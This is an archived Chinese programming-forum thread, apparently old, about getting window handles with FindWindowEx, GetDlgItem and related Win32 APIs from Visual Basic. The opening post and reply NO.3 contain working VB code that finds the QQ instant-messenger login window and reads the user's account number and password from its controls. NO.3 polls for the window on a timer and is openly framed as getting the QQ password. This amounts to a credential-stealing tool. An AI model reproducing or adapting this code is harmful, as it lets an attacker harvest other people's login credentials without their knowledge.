当前位置:首页
开发技术指南» 文章正文
    引言:
 

 

 ·关于topendialog的问题,请帮助    »显示摘要«
    摘要: topendialog打开对话框的时候,如何将现在edit->text里的路径名设成对话框里初期路径,topendialog里应该有这个属性吧,哪位知道请帮助. ......
    摘要: 这一列是时间,我想用户在点击了这一列的某一格后出现一个dtpicker,然后可以更改它的值。 我现在虽然实现了这个效果,但是只要grid的行太多了,出现scrollbar后,将它拉到第二页,dtpicker的位置就和所选取的格的位置不一致了,因为我是根据grid的格子的位置来定义dtpicker的left 和 top的,有什么解决办法吗? ......


如何获得一个窗口内部的窗口的句柄高手请进来啊`

我用findwindowex查找窗口内部的一个combobox的句柄,可是总是返回为0,这是为什么啊?  
        我在一个程序中可以得到一个窗口内的两个text的句柄,但是,用同样的方法却不能得到另一个窗口内的text的句柄....这是为什么啊?  
        得到text::  
  QQLoginHwnd   =   FindWindowEx(0,   0,   "#32770",   "OICQ用户登录")  
      If   QQLoginHwnd   =   0   Then   QQLoginHwnd   =   FindWindowEx(0,   0,   "#32770",   "QQ用户登录")  
  是主登录窗口  
  If   LoginHwnd   <>   0   Then  
  获取号码  
      PassHwnd   =   FindWindowEx(QQLoginHwnd,   0,   "ComboBox",   vbNullString)  
      tmp1   =   SendMessage(PassHwnd,   CB_GETCURSEL,   ByVal   CLng(0),   ByVal   CLng(0))  
      Tmp2   =   SendMessage(PassHwnd,   CB_GETLBTEXTLEN,   ByVal   tmp1,   ByVal   CLng(0))  
      QQUserWord   =   Space(Tmp2)  
      Tmp2   =   SendMessage(PassHwnd,   CB_GETLBTEXT,   ByVal   tmp1,   ByVal   UserWord)  
      UserWord   =   Left(UserWord,   Tmp2)  
  获取密码  
      PassHwnd   =   FindWindowEx(LoginHwnd,   0,   "Edit",   vbNullString)  
      tmp1   =   SendMessage(PassHwnd,   &HE,   0,   0)  
      PassWord   =   Space(tmp1)  
      SendMessageByString   PassHwnd,   &HD,   tmp1   +   1,   PassWord  
      GoTo   Quit1:  
  End   If  
   
  是"注册向导"窗口  
      LoginHwnd   =   FindWindowEx(0,   0,   "#32770",   "OICQ   注册向导")  
      If   LoginHwnd   =   0   Then   QQLoginHwnd   =   FindWindowEx(0,   0,   "#32770",   "QQ   注册向导")  
  If   LoginHwnd   <>   0   Then  
  查找号码框   和   密码框  
              tmp1   =   FindWindowEx(QQLoginHwnd,   0,   "#32770",   vbNullString)  
              UserHwnd   =   FindWindowEx(tmp1,   0,   "Edit",   vbNullString)  
              PassHwnd   =   FindWindowEx(tmp1,   UserHwnd,   "Edit",   vbNullString)  
  取得号码  
              tmp1   =   SendMessage(UserHwnd,   &HE,   0&,   0&)  
              UserWord   =   Space(tmp1)  
              SendMessageByString   QQUserHwnd,   &HD,   tmp1   +   1,   QQUserWord  
  取得密码  
              tmp1   =   SendMessage(PassHwnd,   &HE,   0&,   0&)  
              PassWord   =   Space(tmp1)  
              SendMessageByString   PassHwnd,   &HD,   tmp1   +   1,   PassWord  
      GoTo   Quit1:  
  End   If  
   
  登录完毕  
  MainForm   =   FindWindowEx(0,   0,   "#32770",   vbNullString)  
  Do   While   MainForm  
          If   FindWindowEx(MainForm,   0,   "AfxWnd42s",   vbNullString)   Then  
                  IsLogin   =   True  
                  AddUser  
                  Exit   Do  
          End   If  
  MainForm   =   FindWindowEx(0,   MainForm,   "#32770",   vbNullString)  
  Loop  
    得到text的方法在别的得到别的程序的时候为什么就不能用呢?       至于combobox根本就找不到他的句柄................  
   
        高手哥哥帮忙啊~~~~~~~~~~~~~~~~~~~`  
                                          无论晴天也好,雨天也好,我希望和你一起度过~~~~~风笛~~~:)  
   
 

NO.1   作者: junwhj

试试用下面的函数来取得窗口句柄:  
  Public   Declare   Function   GetCursorPos   Lib   "user32"   Alias   "GetCursorPos"   (lpPoint   As   POINTAPI)   As   Long  
  Public   Declare   Function   WindowFromPoint   Lib   "user32"   Alias   "WindowFromPoint"   (ByVal   xPoint   As   Long,   ByVal   yPoint   As   Long)   As   Long  
 

NO.2   作者: yefanqiu

【声明】  
  Private   Declare   Function   ChildWindowFromPointEx   Lib   "user32"   Alias   "ChildWindowFromPointEx"   (ByVal   hWnd   As   Long,   ByVal   pt   As   POINTAPI,   ByVal   un   As   Long)   As   Long  
  【说明】  
  返回父窗口中包含了指定点的第一个子窗口的句柄  
  【返回值】  
  Long,发现包含了指定点的第一个子窗口的句柄。如未发现任何窗口,则返回hWnd。如指定点位于父窗口外部,则返回零  
  【参数表】  
      hWnd   -----------     Long,父窗口的句柄  
      xPoint  
      Long,点的X坐标,以像素为单位  
      yPoint  
      Long,点的Y坐标,以像素为单位  
   
      pt   -------------     POINTAPI,点的坐标,以像素为单位  
   
      un   -------------     Long,控制对窗口的搜索。参见下表  
      CWP_ALL  
      测试所有窗口  
      CWP_SKIPINVISIBLE  
      忽略不可见窗口  
      CWP_SKIPDISABLED  
      忽略已屏蔽的窗口  
      CWP_SKIPTRANSPARENT  
      忽略透明窗口  
   
   
 

NO.3   作者: alexler

getdlgitem    
   
  VB声明    
  Private   Declare   Function   GetDlgItem   Lib   "user32"   Alias   "GetDlgItem"   (ByVal   hDlg   As   Long,   ByVal   nIDDlgItem   As   Long)   As   Long    
  说明    
  用来得到一个窗体子窗体的句柄,如一个按钮等    
  参数表   类型及说明    
  hwnd   父窗体的句柄    
  niddlgitem   子窗体的ID号码    
   
    OK,有了这三个API,那么我们可以进入主题了,其它用这三个API可以干很多的事情哦。  
  很明显要获取的QQ密码,肯定要先找到它的句柄,肯定想到了,用一个时间控件,然后再用Findwidow这个api就可以了.具本代码如下:  
  Private   Sub   Timer1_Timer()  
  Dim   str   As   String  
  Dim   nmb   As   String  
  Dim   qqhwnd   As   Long  
  Dim   numberhwnd   As   Long  
  Dim   pwdhwnd   As   Long  
  Dim   temp   As   Long  
  str   =   String(80,   0)  
  nmb   =   String(8,   0)  
  qqhwnd   =   FindWindow(vbNullString,   "QQ用户登录")  
  到这里就可以得到登录框的句柄了.注意qq要大写哦!  
  If   qqhwnd   <>   0   Then  
  numberhwnd   =   GetDlgItem(qqhwnd,   &H3EC)   得到用户号码框的名柄  
  pwdhwnd   =   GetDlgItem(qqhwnd,   &H3F4)   得到密码框的句柄  
  getdlgitem你肯定会用了,那么&h3ec是那里来的呀,这个便是它的ID号,那么怎么得到呢?你用vc++中的工具       SPYXX就可以得到了.  
  SendMessage   pwdhwnd,   WM_GETTEXT,   Len(str),   ByVal   str   得到号码  
  SendMessage   numberhwnd,   WM_GETTEXT,   Len(nmb),   ByVal   nmb   得到密码  
  notxt.Text   =   nmb  
  pwdtxt.Text   =   str  
  DoEvents  
  End   If  
  End   Sub  
 

NO.4   作者: foko_zl

type   POINTAPI  
      x   as   long  
      y   as   long  
  end   type  
   
  pt的坐标指在父窗体的坐标


    摘要: 我下载了tbarcode v3.22但安装的时候提示找不到barll.pas,请指教,多谢! ......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE